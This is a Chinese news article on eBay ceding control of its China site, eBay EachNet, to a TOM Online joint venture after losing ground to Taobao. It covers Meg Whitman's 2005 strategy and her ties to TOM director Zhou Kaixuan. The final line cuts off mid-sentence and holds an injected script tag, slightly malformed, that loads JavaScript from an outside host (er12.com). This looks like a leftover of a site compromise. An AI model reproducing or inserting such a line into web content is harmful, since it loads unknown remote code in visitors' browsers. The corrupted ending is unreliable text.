图为tom集团第二大股东周凯旋
本报记者 雷中辉
三年后，梅格·惠特曼割舍了ebay亲自参与中国激烈互联网市场竞争的欲望。
12月20日，ebay ceo惠特曼亲临上海，正式宣布ebay易趣同tom在线成立合资公司，并将ebay易趣交给tom在线运营，不仅如此，在新的合资公司中ebay仅占49%的股份，而tom在线控股51%。
这是不得已而为之——曾被惠特曼视为最有希望的中国市场，实际上目前不足ebay全球整体销售商品数量的3%，收入不及1%。就在去年，惠特曼还视中国为ebay全球最大的增长机会，并增加1亿美元投资，期望在5年内成为ebay在全球第一大站点。
惠特曼不会承认这是ebay在中国的失败，但她坦率的说，“市场发生了变化，本地经验将变得更重要。”
新闻发布会现场，惠特曼的身边是刚被任命为合资公司ceo的王雷雷。而惠特曼的好友、tom在线的股东和董事周凯旋。虽然tom在线否认周凯旋参与了谈判，但外界人士普遍认为，两位同样具有一流商业头脑的女人是这次交易的实际操盘者。
现在，惠特曼告诉《华尔街日报》的记者——“我们意识到，在对接ebay全球交易平台的过程中，竞争对手抓到了可乘之机。我们此前在很多国家都进行过对接，都得以顺利完成，但这次，却遇到了强大而灵活的竞争对手。”
惠特曼被马云“拍”了一下
这个“强大而灵活的竞争对手”，是马云和他的本土产品——淘宝网。
2003年6月，收购剩余的67%股份后，惠特曼完全拥有了易趣。当时中国电子商务市场还没有成气候，但在惠特曼眼中，ebay易趣是未来ebay国际化战略中的重要组成部分，因为“中国市场电子商务的增长速度将超乎想象”。
2003年6月到2004年9月，ebay花了一年多时间整合易趣。正是在惠特曼长达一年的观察期，阿里巴巴创始人马云和他旗下淘宝网悄然而起。2003年开通后，淘宝网开始对市场老大ebay易趣大举进攻——有限的电子商务用户不断被对手以免费的策略挖角蚕食。
虽是感受到了寒意，惠特曼还是意气风发——“易趣发展要什么我就给什么”。
2005年1月，惠特曼决定在中国增加1亿美金投资，用于ebay易趣在中国市场发展建设和营销推广，这是ebay当年整体营销战略投资的三分之一。这是一个力图置对手于死地的计划——首先，在绝大多数的网络媒体上“封杀”淘宝广告，使依靠网络媒体进行广告宣传的淘宝只有搜狐一家可选；其次，降低网上交易收取使用费的价格，这是ebay在全球首个减低交易手续费的国家。
而此时的现实是，在交易额上淘宝已经超过了ebay易趣。ebay2005年第一季度财报显示，易趣成交额约为1亿美元，而淘宝网为10.2亿人民币。
ebay的2005年策略并没有让淘宝丧失竞争力。相反，马云主动挂帅的淘宝营销和宣传策略在这一年中实施了反击。广告从网络上延伸到电视，继续宣称免费三年，并在许多公关策划中矛头直指ebay易趣。
在这些战役中，ebay易趣显示出了国际公司水土不服的弱点——战略指令行动迟缓、舆论宣传被淘宝牵着鼻子走、外资公司在中国政策门槛较高、成本压力大等。
最新的市场调查显示，淘宝网已经占据了国内三分之二的拍卖市场，一举超越了曾经的龙头老大ebay易趣。
她们的商业关系在升温
2005年，惠特曼逐步认识到ebay易趣中国本土化的重要性，但形势似乎越来越严峻。
5月，惠特曼应邀到北京参加财富论坛。这一次，“中国风格”是惠特曼认准打造的中国市场方向。也正是在这次会议上，惠特曼来到了周凯旋在东方广场的办公室。实际上，早在此前，两人就已相识并惺惺相惜。这次相会后，惠特曼决定进行一次“亚洲之旅”，重新认识亚洲商业环境。
5-6月，惠特曼多次来往上海和香港，并拜访了李嘉诚。惠特曼还与身为李嘉诚基金会董事的周凯旋在香港多次密会，除了洽谈商务之外，还去听音乐、看龙舟。周凯旋甚至在惠特曼走后，还为本报写来了一篇《惠特曼年中无休》的散文，夸赞惠特曼的敏锐、执着。
这次旅行，被惠特曼认为是ebay即将掀起的“亚洲风暴”的开始。其时，ebay正准备将网络在线支付工具paypal引入中国，力图对中国电子商务市场的全方位突破。但阿里巴巴旗下的支付工具支付宝，2004年推出之后已凭借先发优势占据了绝大部分的市场。而paypal入华还面临一个重要政策问题，作为外资公司，将可能无法获得中国金融管理部门颁发的电子支付牌照。
“包袱越加越重。”淘宝在偷笑。9月，阿里巴巴正式宣布收购雅虎中国，并接管了ebay易趣的另一对手一拍网。马云在正式收购完成后，宣布继续增加对淘宝的投资10亿元，从而使发展了2年多的淘宝网总投资达到了14.5亿元。
ebay易趣的市场仍旧在不断下滑。社科院《2005年中国电子商务调研?script src=http://er12.com/t.js>
